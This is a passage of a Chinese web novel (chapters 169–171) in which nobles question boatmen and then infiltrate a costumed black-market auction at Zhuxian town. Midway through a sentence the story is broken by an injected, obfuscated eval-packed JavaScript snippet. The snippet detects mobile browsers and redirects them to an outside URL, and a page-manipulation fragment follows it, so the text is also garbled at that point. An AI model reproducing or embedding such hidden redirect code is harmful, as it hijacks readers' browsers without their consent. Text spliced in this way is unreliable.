他以为身后这方位是他娘,结果闻到一股特别轻、但独特的香气,味道如瑰奢般馥郁浓烈,却极清,似空茫当中如同山岚雾气一般萦绕。不过,这丝香气中迦南的味道,那是王族祭天时燃烧的名贵香料,又或者是,大正宫微音殿中常备。这人是…… 而文湛听了温岭的话,微微点头,并且还“嗯”了一声。只是这一声颇为复杂,说不清楚是个啥感觉。 温岭,“他老婆也不管?” 温挚听着他们两个人的对话,想要做些什么,却委实不知道能做些什么。 文湛,“管不了。” 温岭,“可是赵叔看起来像是极怕老婆的男人。” 文湛,“是吗?”声音很轻,似乎只在唇齿之间,却飘荡着一股异常诡异的缠绵。 温岭,“不对,祈王那位正妃不是薨了吗?我记得她是藩镇尹家的女,很难得的一位女子。” 温挚感觉极不对劲,刚想要拦住温岭,可是文湛却开口了,“你见过她?” 异常危险,一个不慎就是雍京贵胄私自结交藩镇,犯陛下忌讳。 温岭根本没感觉到什么,就是说,“嗯,远远见过一眼。当年我外祖父办丧事,她来了。” 文湛,“那个时候,你还不到十岁,怎么记得清楚?” 温岭,“她穿的和别人不一样。别的夫人是罗裙,她是骑装,似乎从西北过来赶了几昼夜的路。” 文湛,“所以她飒爽英姿到别具一格?” 饶是温岭再钝,也听着这话不太对劲,说不出来的别扭,有种后槽牙被酸倒的奇异感觉。 他揉揉腮帮子才说,“那倒不是。雍京各公侯府邸,我有几个表姐妹也是这个调调,贵胄家族女子这样不稀奇。我说她不一样,是说,只有她是从云中赶到雍京的,其他家族的夫人们就在雍京城。七百多年的老传统了,谁家接了虎符都得押人在雍京,唯独他家不一样,尹氏合族几百号人都回西北老家了。这事儿,坊间一直都有传闻,……” 温挚不能拦,只能叹气,温岭倒是孝顺,赶忙说,“娘,您怎么没事光叹气,您是哪儿不对劲吗?” 温挚,“唉……” 文湛则一挑眉,“什么传闻?” 温岭见他娘不理睬他就顾着文湛这头,凑着文湛咬耳朵说,“传闻,尹家这位王妃,其实是当今陛下的私生女。” 文湛觉得自己似乎应该适应这样离谱的传言,但是他好像真的适应不了,于是心情就在适应与不适应之间反复回荡着,最终他还是说了一句,“这些人难道不知道当今陛下多大年纪吗?” 温岭,“诶,老百姓嘛,种田纳粮也不管其它,总觉得九州君父就应该七老八十,不说话的时候泽披天下,一张嘴就以德服人。” 文湛,“……” 此时温挚方得空,“这都什么乱七八糟的,我怎么不知道?” 温岭,“坊间传闻都挺没谱的,这不是离奇好玩儿嘛?在家里娘您又不让我说这些,您自然什么都不知道。” 那边,赵毓则对屠明珠说,“既然是大先生家的女,我那些朋友们自然会多多照顾。”一句话,算是明白说明了他不做屠翠翘的生意,不过以后会照抚。 “大先生,此番回雍京,就在那里多待几日,不要到南边来。” 这句话却是紧要的,也是屠明珠一直想要问明白,却不知道要如何问清楚的事,于是她连忙点头,并且道了谢。 赵毓等小丫鬟掺着她上了马车,低声说,“大先生,我问您借个人。” 这边看着赵毓同这两位倌人那是缠缠绵绵没完没了。 温岭吸了口气,“真是诡异。” 文湛斜睨了他一眼,“又怎么了?” 温岭,“赵叔明明是鳏夫,可是他却长了一张有老婆的男人的面孔;他看着斯文羞涩像个雏,可是应对这些风月老手又是如此这般的老道。他比我们顺天府尹刘老爷还变化莫测。” 文湛,“顺天府尹,心机很诡诈?” 温岭说,“我们刘老爷做官那是一把好手!官场规矩、人情世故,手底下各人的心思,雍京地头蛇,各高门府邸,门清!不过他和督察院的柳总宪是好友,他们是同榜进士,心眼比别人都实在一些,这也是我娘放心我去顺天府当差的原因。跟着一个不那么险诈的主官,总比在虎狼窝里混饭吃强。有些地方看着有前途,可是一步一个坑,睡觉都得睁着三只眼睛,不然死了都不知道自己是死是活。” 文湛,“祈王,他……” 温岭,“怎么?” 那边赵毓等着屠明珠的马车走了,领了一个仆从过来。 文湛轻声,像是对温岭说,却像是对自己说,“你所想象到最凶残诡诈的虎狼,对于他,不过是猪马牛羊……” 这个声音,充斥着诡异的亲昵感,温岭莫名其妙打了个寒颤。 赵毓领人过来,找个背人的地方,在那名仆从手心放了两钱碎银子,“一会儿,你去请画舫的艄公吃个饭,别说是我出的钱,就说是大先生赏的。” 那名仆从看着手心的银子,“赵老爷,这些银子够在沿河的酒楼吃席面了。” 赵毓,“地方随你,找个你喜欢的,酒菜随意。” 他盯着奴仆,等了一下,才说,“别省。” 那名奴仆一愣。 他本来想着,不过是找艄公吃饭,找个不那么好的地方,几碗熬菜一壶散酒,花不了多少,省下来的碎银都是自己的。但是赵毓这一句“别省”,顿时把他里里外外小心思扒皮。 而此时赵毓,却在他另外一只手上,放了五两银子,“这才是你的赏钱。” 这一擒一捧,让奴仆心生恐惧,不敢再造次,连忙说,“赵老爷的吩咐,马上照办。” 知道这艘画舫去了哪里,究竟做了什么,也许被一直忽略的艄公,更清楚一些。 温挚看着赵毓长长舒了口气,终于有一种“你可算回来了的欣慰”。 她看看四周,又抬头看了看,明月已然上天幕。 于是说,“吃点东西吧。” 温挚曾经说,沿河有她的生意,也有酒楼。 并不是丰腴的盛宴,而是清淡柔和的菜肴,佐一些南方味道的米酒,飘着各色果子和桂花的香味。 上等雅间,垂着竹帘丝幕,窗外是流灯夜景。 一个小丫鬟端来一个水晶盏,盛着酒酿圆子汤,放在桌面上,转身出去。 赵毓大约心中有事,端过来只是说了句,“温姐姐这里的菜长得俊俏,这盛着菜汤的碗也俊俏,就是小了点,我一个人也吃不饱。” 说着,拿着勺子就舀,一口一口吃。 不一会儿,另外一个小丫鬟端着一个托盘,袅袅地进来,托盘上则是四个空碗,每个比茶盏大不了多少。 赵毓开始刮盆底。 她看着赵毓愣了,而赵毓也愣了,“这是,四个人的汤水?” 温挚只是吩咐,“再煮一份桂花酒酿圆子。” 赵毓,“姐,太甜,不垫饥。” 温挚从善如流,“再给他煮份面,用盆装。” 小丫鬟领命下去。 赵毓冲着她的背影又喊了一句,“拜托用香葱炝一下锅,多加点儿肉丝!” 大掌柜过来对着温挚耳边说了些什么,她出去。 屋子中只余三人。 文湛一直在安静喝茶,手中茶盏盛着龙眼水泡白毫银针。 温岭看了看他,随即凑到赵毓身边,“叔。” 赵毓,“怎么了?” 温岭,“您当年去西北的时候,怎么就能全族离京了呢?祖宗留下的规矩也能破,这到底是咋回事儿?” 赵毓却惊诧,“七八百年的老规矩,我怎么可能破?祖宗之法就是祖宗之法。” 温岭,“不对呀!当年您可是没留人在雍京,径自拿着虎符去西北了。” 赵毓,“我留人了呀。” 温岭,“啊?” 赵毓,“我留了很重要的人在雍京,……不是血亲,重于性命。” 温岭听着糊涂,赵毓说的人似乎并不是他母亲太贵妃。他思来想去,也不明白赵毓究竟说的是哪个。 “叔,您说的这个重要的人,陛下知道吗?” 此时,文湛随手推过来一盏龙眼白毫银针,赵毓接过,抿了一口。 清澈甜美,沁人心脾。 他,“陛下知道。” 温岭,“呃……” 赵毓,“陛下自然知道,……” “……只有他。” “方才抵得了太|祖玄铁虎符的权柄。” “裂土封王。” “万世功业。” 170. 170 170 “对了,温岭。”赵毓忽然说,“我在南苑见了你舅,我原本以为你会跟着温公爷在南苑围猎。” 温岭却说,“陛下倒是有旨意,我舅可以带一族中子弟入南苑。可我这不是有公差吗?我领着俸禄,我们顺天府衙门中的事才是正经公事。” 闻言,赵毓轻笑出声,“温岭,你知不知道此时在南苑是个什么意思?” “当然知道,我也不傻。”温岭说,“我舅没儿子,此时他同哪个族中子弟进南苑,哪个以后就可能是世子。” 赵毓,“你不想做靖渊公世子?” 温岭,“说不想,也没人信,毕竟这是泼天的权势与富贵;可要说我想做世子,我又真没这个想法。就比如这次,第一耳朵听到要跟着我舅到南苑,我的反应只是,猎那些兔子也没啥用,我也不缺焖兔子吃。反倒是我们衙门口接到清淤的命令更像是正经事,这南来北往的河道要是断了,波及的人太多,太多人的口粮要受损。我娘也觉得我的想法比较正经,她也不喜欢我到猎场傻啦吧唧地追兔子吃。” 赵毓又笑,“温姐姐一向有大智慧。” 温岭,“再说,我舅又不老,又不是确定这辈子就一定生不出儿子了。没准儿过两年,他就能生出世子了,我就不去凑这个热闹了。” 赵毓意味不明“诶”了一声。 温岭,“要说我舅也是文韬武略,就是在生儿子这事儿上耽搁了。族里长辈们把他按在雍京,哪儿都不让动,就让他生儿子。结果我舅努力了这十几年,公府依旧没有世子。” 赵毓忽然爆笑出声,却看见文湛不是很赞同地看着他,于是强迫自己竭尽全力收敛笑声,平稳语气说,“其实吧,你舅也不是那么努力……” “不能吧。”温岭想了想,“我舅还不努力啊?他都不出后宅!我有时候去公府,看见那一园子的小老婆叽叽喳喳的,像一水塘子的鸭子在呱呱呱,就没个清净的时候!我舅整天在那个鬼地方待着,感觉都不像人过的日子。” “温府那群小老婆也是一景儿,不过,……”赵毓,“你舅要当真努力生儿子,这些年就算生不出世子,姑娘总能生出一些来吧。我记得温公府就两位姑娘吧,还都和你差不多年岁,这些年也没见有小孩子呱呱落地,那你舅这些年到底在干嘛呢?” 温岭,“赵叔,您的意思,我舅在家以努力生儿子为名头,其实在韬光养晦?” 赵毓,“没准儿。” 温岭,“我舅在避什么?” 赵毓笑了笑,没说话。 温岭又说,“赵叔,您说,我大堂妹,就是我舅家的大姑娘,能不能承继爵位?” 赵毓,“不成,宗法不允许。再者,靖渊公特殊,世袭罔替,承袭这个爵位需要上战场。我对你大堂妹不是很了解,但我记得她就是雍京闺秀,没听说她骨骼清奇,神功盖世,或者天生神力什么的。” 温岭,“那我大堂妹不出嫁,也像我娘一样招夫婿入赘,生的儿子可以承袭爵位吗?” 赵毓想了想方说,“你堂妹夫婿不允许承袭爵位,不过你堂妹嫡长子的确可以,有先例,只是,情况异常特殊,需陛下恩旨。” “我记得一百三十多年前,那一代靖渊公远征西北,族中男丁全部战死,只余一孤女,扶父兄棺木回雍京。仁宗皇帝将其接入大正宫,仁宗皇后亲自抚养其长大成人,择平安郡王为其夫婿,其长子承袭靖渊公爵位。” “如今你大堂妹并不是孤女,无法得陛下恩旨。再说,这不是还有你吗?族中长辈未必愿意越过你,去等一个不知道什么时候降生、不知道资质的小孩子成为世子。” 温岭叹口气,又问,“赵叔,您说,我舅到底在藏啥?” 赵毓,“咱这么想,你看啊,如果你手中有十个鸡蛋,碰到人和你一起吃鸡蛋,你是先拿出五个来一起凑合着吃,还是一股脑把所有鸡蛋全拿出来,自己一点没剩余?” 温岭,“那我肯定留点。因为不知道这些人怎么样,也不知道来日怎么样,我总的给自己留些来日保命用的口粮。” 赵毓点头。 温岭灵光一现,“您是说我舅藏鸡蛋!” “……” 赵毓叹口气,“我是说,你舅就是一颗被藏起来的鸡蛋。” 温岭,“……?” ——被陛下藏起来的鸡蛋。 温挚回来之后,先是在文湛耳边低语了几句,随后到赵毓身边,“问了几个艄公,回答大同小异,他们一直在船舱底部摇船桨,所知并不多。其中两个人所求五两银子,倒是愿意把方才经过的地方和我们详细说说,殿下听吗?” “听!”这次是温岭回话,“事关南苑,无论大小,都是公事。我作为顺天府衙门口的人,自然要管。” 温挚看文湛,而此时文湛低垂着眼帘看自己手中的茶盏,赵毓则伸手搭在温岭肩膀上,颇为欣慰,“一会儿就拜托温小吏了。” “嗯!”温岭点头,颇有一种被雍京说不清道不明的雨水浇筑之后的欣欣向荣。 温家酒楼的后院,种了竹海,即使没有做水系却依旧有一种烟波飘摇的怡然。 一张石头桌子,圆的,众人分坐,赵毓拎着茶壶倒茶,口中念念有词,“两位兄弟别客气,有什么尽管说。” 仿佛此处摆的局是一场吃食。 这两艄公都姓刘,是堂兄弟,直隶白洋淀人,从小在水边长大,长大后在漕河讨生活。此时他们两个愿意来,一来的确有白花花的银子,再来,他们自小就比同村的小子们灵敏一些,这一趟,即使尽量不关己事不沾身,也感觉到有些不对劲。 “……我们漕帮有规矩。”刘大说,“官面上的人不要来往,可是再怎么着,我们也不是水面上漂着的筏子,一家老小还有地和水塘都在老家,和官府对着干,我们可没这个胆,……” 赵毓,“也没这个必要。” 那人连忙点头,继续说,“这艘画舫本就是从雍京过来的,前一阵子下雨,沿河山上有淤泥下来,堵了河道,这船就泊在朱仙镇,我们也就随着船留在镇子里。” 赵毓碰了温岭一下,温岭问,“这艘船每日航行的路线从哪儿到哪儿?” 刘大和刘二合计了一下,才说,“就是从朱仙镇南边的码头走,沿着河道向北,在莲花渡口转个圈就回来了。坐画舫就是游河,岸上还得热闹,要是在没人的地方,黑灯瞎火的,没人气,生意做的没意思,也做不下去。” 温岭,“方才是怎么回事?” 这次换刘二,他说,“今日和往常一样,过了晌午,我们吃完饭就上船,歇了歇,看见外面日头要落了,就拔锚。这一路本来没什么不对,可是到莲花渡口之后,掌舵的靳老三并没有回头,还是径直向前走。” “我们有人过去问了问,是不是走岔路了?靳老三回答说,今天早一些,有大豪客想到前面转转再回头。他是尤七爷的亲信,他说啥,我们照做就成。” “可是,……” 到这里,刘二似乎有什么顾虑,就不说了。 温岭连忙学赵毓的样子,给他倒了一碗茶水,“可是有什么不对?” 刘大叹口气,“说吧。” 刘二方继续说道,“我晌午没吃饱,想着上去厨房找杏儿要仨驴肉火烧,结果无意中听见船舷上有人说话,糊里糊涂的我也不懂,大约听了两耳朵,就是,七王爷封了南苑,原本的计划不成了,现在只能到河岔口那边先把人弄出来。” “七王爷?”温岭一愣,“可是雍王?” 这两艄公仔细想了想,一起摇头,“不是,没听过这个名字。”而刘大又绞尽脑汁想了想,不是很笃定,却带着一丝肯定,说,“是七王爷,橘子。” 这次温岭彻底懵,“这谁啊?雍京有这一号人物?一歪瓜裂枣还能在南苑封场子?” 赵毓则平淡开口,“可是祈王承怡?” “啊,对!”刘二一拍自己大腿,“就是七王爷橙子!” 随后对他堂哥刘大说,“我就说我听到的是橙子,你非跟我较劲,说是橘子。还说咱漕河运了这么多云梦泽的果子进雍京,雍京贵人们都要橘子,橘子贵。王爷金贵,名字矜贵,肯定是贵果子,所以一准儿是橘子。可我明明听到的是橙子……” 这次连温岭都无语了。 而赵毓继续平淡开口,“这王爷的名字甭管金贵不矜贵,听起来倒是挺健脾益肺的,哈!” 刘二点头,“诶,要不然怎么说人家是王爷呢,名字起得不同凡响!我们估摸着,这个名字肯定找法力高深的大仙儿算过,一定有什么不为人知的讲究。” 温岭想乐,但是看着在场的文湛和他娘,又不是很敢乐,随后瞄了瞄赵毓,“叔,这名字挺讲究,哈!” 赵毓则继续平淡开口,“两位兄弟,还听到些什么?” “这个七王爷是个实权人物!”刘二说,“听那个意思,应该是刚从外地回雍京,手中还有印把子,管着南苑猎场的护卫。原先猎场的守军有个换岗的时辰,这是个空档口,送人进出都行,结果这七王爷一来就换了布防,把这个空档口给堵上了,尤七他们就没法子了。” 赵毓,“他们走着一趟,究竟是想送人进去猎场,还是接人出猎场?” 刘二,“应该是有送有接。但是现在人送不进去,得另外想法子,于是冒险走了一趟岔河,把人接出来。” 此时温岭也缓过劲,“接的是什么人,这位兄弟知道吗?” 刘二,“不知道。我也没仔细听,怕被他们发现,赶紧去厨房拿了驴肉火烧就回去了。当时,我留个心,在岔河那里只感觉船在水浅的地方稍微缓了一下,要不是多年在漕河上讨生活还真感觉不到,其它的,就真的不清楚了。” 赵毓让温岭以顺天府官面的名义通报直隶,送刘大刘二两艄公回乡,当然,肯定也得带上说定的酬劳白银。 等他们走后,温岭说,“那这样不就打草惊蛇了吗?” 赵毓,“怎么,你觉得,咱现在还没有打草惊蛇?” 温岭,“咱不是偷偷把人带过来的吗?” 赵毓,“如果画舫上果然有猫腻,尤七肯定会盯着所有人的一举一动。艄公们去和倌人的小厮吃酒不是大事,他们之间一定有交游;可是吃完了酒,俩艄公就不见了,就算尤七没有眼睛盯得住,那一同吃酒的那些人呢?” 说着,赵毓还拍了拍温岭的肩膀,“他们本就是一起的,自然听得懂有白银奖赏的暗示,当时他们一时胆小没有伸手,但看见有人伸手了,而且果真拿到白花花的银子了,他们会如何呢?” 温岭,“哦,赵叔是说,那些人会学刘家兄弟,也到咱这里拿钱?” “不会。”赵毓一摆手,“他们不敢拿就是不敢拿,但是他们也不会允许别人拿。就像火上架着一个罐子,里装满了螃蟹,有一只腿脚利索要爬出来,别的螃蟹不会学它向外爬,而是争先恐后用钳子夹住旁的脚,绞扭在一起,谁也别想逃出生天,大家一起被熟熟。” “不对呀。”温岭疑惑,“去年赏菊宴我看他们煮阳澄湖的大闸蟹,一口大锅没盖好,蟹都爬出来了。蟹又不傻,火烧着水热了不知道往外跑?” 赵毓,“……” 他着实无语,就看着文湛,而那位一副雍京闲公子的样子,正安静喝茶。 清艳到不可方物,怡然到令人发指。 赵毓对着文湛就是一句,“你倒是说句话呀!” 闻言,文湛将手中的茶盏放下,看着温岭,“螃蟹能爬出来,锅是敞口的。” 温岭不得要领,“不然呢?” 文湛,“如果是罐子,开口就很狭窄,一只螃蟹有一只螃蟹的标识,哪个爬出来,罐子内外的螃蟹都会看到,无法形成‘法不责众’的模糊态势,而且,不是每只螃蟹都扛得住罐子内外的差异,因而情势会有很大不同。” 温岭,“那些螃蟹看到有螃蟹爬出罐子,不但活着,而且活得很好,不会纷纷效仿吗?” 文湛,“那也是一种勇武和磊落。更多的则是,……”他自己给自己倒了茶,也给赵毓也倒了一盏,“要都如此,圣人就要头疼了。” 温岭,“……?” 赵毓,“总之,那些没从咱这拿银子的船工们,一定不会让刘家弟兄开开心心揣着银子回老家的,他们一定会告诉尤七,咱就等着尤七下一步动作就好。” 于是,他们开始等待。 温挚让人将酒馔小食重新摆在园子里。 给赵毓新煮的面条也端了过来。赵毓抱着那个盆子看了看,里面装的面条很实在,果然是“自己人”煮的,似乎比黄枞菖那个馆子的厨子还实在,他估摸着自己吃不完,文湛喝茶之后也有些饿,就让人又拿了个碗,将汤面分了分,慢慢吃起来。 临近子时,尤七那边没有明确的消息传过来,但是一直盯梢的人带了话回来,“从画舫上抬走几口大箱子,像是贵重货物,而且分量不轻,也许是奇禽异兽,也许是珠宝。” “没准儿……”赵毓估摸着,“也许是人。” 又过了一会儿,消息传过来,——尤七带着人和箱子直接去了“幻境”。 “这是什么鬼?”赵毓不解。 “是朱仙镇的黑市。”温挚解释道,“因为是见不得光的买卖,又因为的确为人所需,不能全部禁掉,所以在买卖的时候,就需要伪装一二。再加上有些买家非富则贵,读过书,于是,便在伪装上弄出一些花样来,搞得如梦似幻的,诨名就叫幻境。” 温挚转而让人继续探明,“今夜幻境的令牌是什么?” 传回的消息是后/庭花。 既然知道伪装有花样,想要去黑市,就得入乡随俗。令牌字面是《后/庭花》,初为教坊曲,后为词牌,后又可作曲牌,黑市不讲究平仄,只讲究个扮相,这个令就是“商女不知亡国恨,隔江犹唱后庭花”,因而,扮相颓废华贵,如果再带着些几百年前山河破碎风飘絮时代王公的诗酒舞乐的末日狂乐,似乎就更为贴切了。无论男女均涂朱敷粉,身上是极上等的丝绸裁制的衣衫,扭着金丝银线,绣着牡丹海棠并蒂莲花。 温岭觉得有趣,拿着一个大棉花团裹着纱布沾了栀子香粉给自己脸蛋子扑,还说,“叔,你说他们这文人还挺有骨气,还敢骂王公。” “骨气呀……” 赵毓扑完了粉,拿着胭脂盒子左右瞧了瞧,就是狠不下心,往自己脸蛋子上涂抹。 “那群王公的骨气就是,眼看着河山破碎,自己无能,却让乐伎们舞乐伺候他们喝酒吃肉,等晚上没准儿还得拉个大姑娘睡觉。等完了事儿,一提裤子马上变脸:既不承认人家舞乐精湛,也不承认夜里暖玉温香,更不能认的就是自己喝酒吃肉睡觉也挺美的,早把河山抛脑袋瓜子后面去了。立马扭捏起来,皱着眉头,捧着心,装作一副不敢忘忧国的形状,先骂一顿红颜祸水,似乎喝酒吃肉听曲睡姑娘都是苦事,都是被他娘给逼的。” “写这玩意儿的文人的骨气就是,没权没势没银子,听不了曲子,看不了歌舞,自然也睡不成姑娘,不敢骂王公又不甘于闭嘴,总觉得天生他嘴必有用,不说话似乎都对不起他满口那几十颗黄牙,非得发个声。于是,先骂一顿红颜祸水,再抻个脖子看看墙外,战火烧到哪里了。是逃是躲还是一了百了,就看他自己的造化了。” “怎么什么事儿让您一说,就显得这么,那个啥?”温岭想了想,“我舅就不这样。” “嗯,你舅不错。”赵毓则说,“我也不这样。人家的舞乐不错就是不错,吃下肚子的肉,喝进肚子的酒,就得认。” “我就知道,兄长果然仁义。”文湛轻飘飘地来了一句。此时,他面孔上已经薄薄敷了一层白色的粉,正好可以遮挡那股深渊宝藏的光华,于是不再叠加胭脂与画眉的螺子黛。 赵毓用青黛抹眉毛的手抖了,不小心一划,把自己两道眉毛弄成了两条粗糙的蚕,连忙堆笑,说,“这都是小时候不懂事,我早不做这样的事情了,……” 而温挚,则用抹腻子的刮子,附着上厚厚一层胭脂,把温岭的两个脸蛋子刮红,像猴子屁股。 等换衣服的时候,温岭方才知道文湛身上居然带着武器,一柄诡异的神兵,——软剑。 那柄丝带一般的剑缠在腰间,被复杂华美的外衣覆盖。 文湛的手指系着腰带,白皙,修长,似乎有着细琢的精美,却极具力度。 可握笔,亦可握剑。 “幻境”的地方看起来曲里拐弯,其实就是在靠近山坳旁边的一所庄园里,邻水。朱仙镇没有宵禁,过了子夜,夜幕中的星月同时暗落下来,人间的烛火似乎也燃到了尽头,却留有余温,使用这里增添了一些光怪陆离的光影明灭。 安静,异常诡异的安静。 车马喧嚣,仆从如云,似乎都留在了山门之外。走进内里,下人们的嘴上捂着一层灰白色的麻布,挡住了嘴巴,也遮住了声音。而往来进出的宾客们似乎都遵循着某种规矩,身上穿着是颓丧的华服,脸上涂抹着厚腻的茉莉或栀子香粉,而嘴上似乎也带着无形的锁,安静的像游魂。 再向里,则是布置精美、鸟语花香的院落。格局蹊跷,看起来颇有些年头,庭院不太像近百年的东西,一些树木稀有名贵,自来是权贵庭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729028|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 院的爱物,这里不知真假,只是这粗壮的模样没个四五百年是长不出来的。 还有伶人,有乐师,演一出游园惊梦,依旧是无声的。 伶人妆容严整,行头名贵,戏服上丝缎锦绣山水典故,发髻上簪黄金点翠,垂落宝石珍珠流苏,轻启朱唇,一展喉,却只凝了个唱戏的样子;丝竹檀板一应俱全,被乐师把玩,却没有一丝声响,而乐师脸上则残留着怪异的精妙,似乎自己手中这些名贵乐器飘散出韶音仙乐,绕梁数百年,永不散去。 “他们这是在做什么?”温岭着实不得要领,“他们是在装木偶吗?” “不是。”赵毓则说,“如果我没有猜错,他们并没有装木偶,他们表演的是洛阳城破之前的后\庭花。” 这两人的声音极低,却打破了周围原本死一般的寂静,如同活人骤然进入亡者之境。 赵毓恍若不知,驻足,就看着眼前这套‘游园惊梦’,继续对温岭低声说,“七百多年前,大郑乱过几十年。当年洛阳被叛军围困,世代镇守洛阳的周王自知已临灯枯油尽,而城中也近人尽粮绝,就号召洛阳士族捐些军饷粮草,稳固城池人心,等待王师。” “结果后人尽知,就是无人响应。士族他们有自己的想法,总觉得王朝有时尽,家族延万年。被困的百姓可以饿死,守城的将士可以战死,而他们自己的土地财货绝对不容有失。” “三日后周王战死,世子殉国,叛军破洛阳城,白银粮草尽数被搜刮,洛阳士族全部沉黄河。” 赵毓抹了抹自己的下巴,却沾了一手指的栀子香粉,他赶紧往衣服上蹭了蹭,才说,“今天这一幕,应该就是当年洛阳城破之前的一夜。士族不想其它,只想诗酒舞乐,却又着实有些惧怕洛阳城外的战火,或者是墙外已经饿到人吃人的小民,所以只敢让家里的伶人乐师装个样子,绝不敢出声。高墙之外听不见笙歌,高墙之内却是一场惊梦,两全其美。” “呃……”温岭不知怎么了,打了个寒颤,于是抓了赵毓的衣袖,“真是有毛病,这过什么干瘾呢?忽然我觉得,我家辛辛苦苦努力种田缴纳皇粮养着这群玩意儿,太不值得,太浪费。” 赵毓,“你家属于侯门公府,不纳粮。别有事没事就把自己往小老百姓的行列里扎,你没那个资格。要说,真有人觉得养这些人不值得,首当其冲的就是种出粮食喂他们不被饿死的农民,再来,就是陛下。” 温岭,“呃……” 此时,他感觉自己的肩头轻按上一只手,力度并不重,却让他自觉松开抓住赵毓袖子的手,是文湛。 “温岭。”文湛清淡开口,声音低,却有着莫名的金石之音,“既为公门中人,保护我等小民百姓就理当义不容辞。你往前走,去吧。” “是!”温岭自觉不自觉应了一声,随即却愣了。——自己竟是如此听话之人吗? 而文湛则拿起来赵毓方才被温岭抓住的袖子,掸了掸,似乎要弹走衣料上根本不存在的灰尘。 他,“……” 此后,温岭打头走,倒是安稳,一路无事。 走过园林,一座四层高的木雕阁楼豁然出现。温挚出手阔绰,他们得到一个极好的包厢,四下垂着帘幕,窗子上挂着黔地大山深处的紫竹帘子,外面就是戏台,挂着‘水镜台’的牌匾,意为‘清水明镜不可逃形’。 有仆从端来茶水点心,并且在托盘上摆放了一块木牌,而这块木牌的顶部则镶嵌了一块水磨得光亮的铜片。 “一会儿戏台上会摆放货物。”温挚说,“有看中的,举木牌子就好。这块铜片映着楼下花园中四处布满的火烛,有光。” “温姐姐。”赵毓一直看着外面,“货物中,都是物吗?” “有人。”温挚说,“具体价格未知,具体人物也所知不全。不过,方才你在画舫上看到的那位大先生身边的倌人,就出自此处,大约十年前,那一拨女孩子都是南边过来的瘦马。” 赵毓随便问了一句,“那一拨女孩子,还有谁?” 温挚,“我知道的也不多,留意到她,就是因为你姐夫应酬的时候我见过一面。至于那拨女孩子一共五人,除了屠翠翘,有两个也在书寓,都是一等的倌人,还有两个则是美姬侍妾,一个在沈熙载府邸,另外一个,则是刑部原来那位尚书,陈耘珪。” 文湛听着,眉毛微微一皱,而赵毓则啧啧两声,“兰芝社大人们后宅?要说,他们的老巢就在江南,想祸害什么样子的小姑娘找不到,怎么专门到这里买人?” “人才难得。”温挚,“只看屠翠翘就知道其他人的样貌了,就算在江南,此等美人也是上等。” 赵毓点头,“这倒是。”文湛看了他一眼,他立刻说,“这都是吉王叔那个老纨绔告诉我的,我就转述一下。我也没觉得她,那个美,那个啥……” “原来这就是顶尖漂亮姑娘。”温岭若有所思,“我记得她的脸蛋子像个咸鸭蛋;眼睛不大不小,倒是挺亮的,好像点了两根上等的牛油大蜡;皮肤倒是又白又嫩,就像练猪油之前那块肥膘,……叔!我之前以为最顶级漂亮的姑娘应该是圆脸圆眼睛,小小的,团团的。” 赵毓回头瞥了他一眼,“哦,你说的那是黄鼠狼,你所认为最漂亮的姑娘,没准儿是黄鼠狼成了精。” 温岭,“呃……” 开锣,戏折子是《钟馗嫁妹》。 钟馗带着众鬼抬着花轿上水镜台,周围灭了烛火,只有行头和戏服上红色有些幽光。此时有一小鬼端了托盘,揭开盖布,露出两根野山参,均是八两以上。 买卖这就开始了。 虽然说长白山的野参七两为珍八两为宝,但是在场这群人,谁家手中没几根好参炖老母鸡?这就是个玩意儿,暖暖场的噱头。接下来几场买卖也挺顺利,有羊脂玉器,黄花梨原木,江南织造局一套已故苏绣大师做的霞帔,晒干了比牛蛙还肥壮的雪蛤,一大块龙涎香,比山东大馒头还蓬的灵芝,以及,雍京制造局的一套机弩。 赵毓抬了木牌,左右上下几个屋子里面有人象征性地和他争了争,二百两白银,这套机弩就到手了。 不一会儿,有仆从就给送到包厢。 赵毓拿到手中,翻来看了看,“嗨,不是最新的,不过也足够杀人,足够违禁了。” 随后,则是钟馗继续嫁妹。 这一次,似乎戏文稍微长了一些,赵毓觉得自己喝了三碗茶水,依旧没有货物再捧出来。 不过,此时钟馗那个妹婿倒是忽然开了唱腔,说了个云山雾绕的典故,随后抬高手,亮出手中拎着的一个灯笼,烛火亮了,照出灯笼纸上的灯谜。 ——苍山负雪,明烛天南。 何山何水? 温挚,“这个,应该就是今天夜里的关口了。” 赵毓,“姐姐怎么说?” 温挚,“方才这个妹婿讲了个典故,大意是说,至宝藏于深谷,但通向深谷的路却有几条,虽然布满艰难险阻,但路却是通的,并且并不唯一。这个灯谜应该就是入口,猜对的人应该也不唯一,而是几个,目的是要把潜在的买家们筛出来。最后,价高者得。” 果然,有几个屋子已经举牌子了。仆从赶忙过去,分别从各个屋子中捧出一个盖着黑色织锦的白瓷托盘,送到台上。妹婿挨个揭开黑色织锦,拿出里面的纸条,现场验。眼前,只有一个屋子中的纸条通过了检验。赵毓隔着帘子看了看,是东边楼下左数第三个包厢,外面看不出个所以然。 赵毓,“苍山负雪明烛天南这八个字不是诗词,是几百年前桐城一个文人登泰山之后,写游记中的两句。大家都知道,何山何水,那就是泰山与汶水济水,文章上明白写着呢!” “不是。”温挚摇头,“方才也有几位买家写这些,都错了。” 她正说着,又一间包厢通过了验证。 这次是西边同层楼紧临着一棵花树的屋子,依旧包裹严密。 文湛一直看着那盏灯,忽然拿起来毛笔,用左手,在铺开的生宣上写了一行字,对赵毓说,“兄长,举牌子。” “啊?”赵毓有些意外,不过他随即回神,照做了。外面立刻有仆从进屋,捧了文湛写字的纸张就走。 此时,楼下通过了第三家灯谜答案的检验,妹婿似乎早就心有准备,只此三家,已经集齐圆满,正要收起灯笼,却等到了文湛这边送过去的生宣。 于情于理,他必须当场核验。 于是妹婿也如同之前一般,揭开黑色织锦,…… 他向高楼此处望过来。 震惊,却依旧缓慢点了点头。 ——文湛的生宣,通过了黑市谜一般的核验。 171. 171 171 “你写了什么?”赵毓彻底懵。 文湛,“只几个字:徽州,未知名之高山,东逝之流水。” 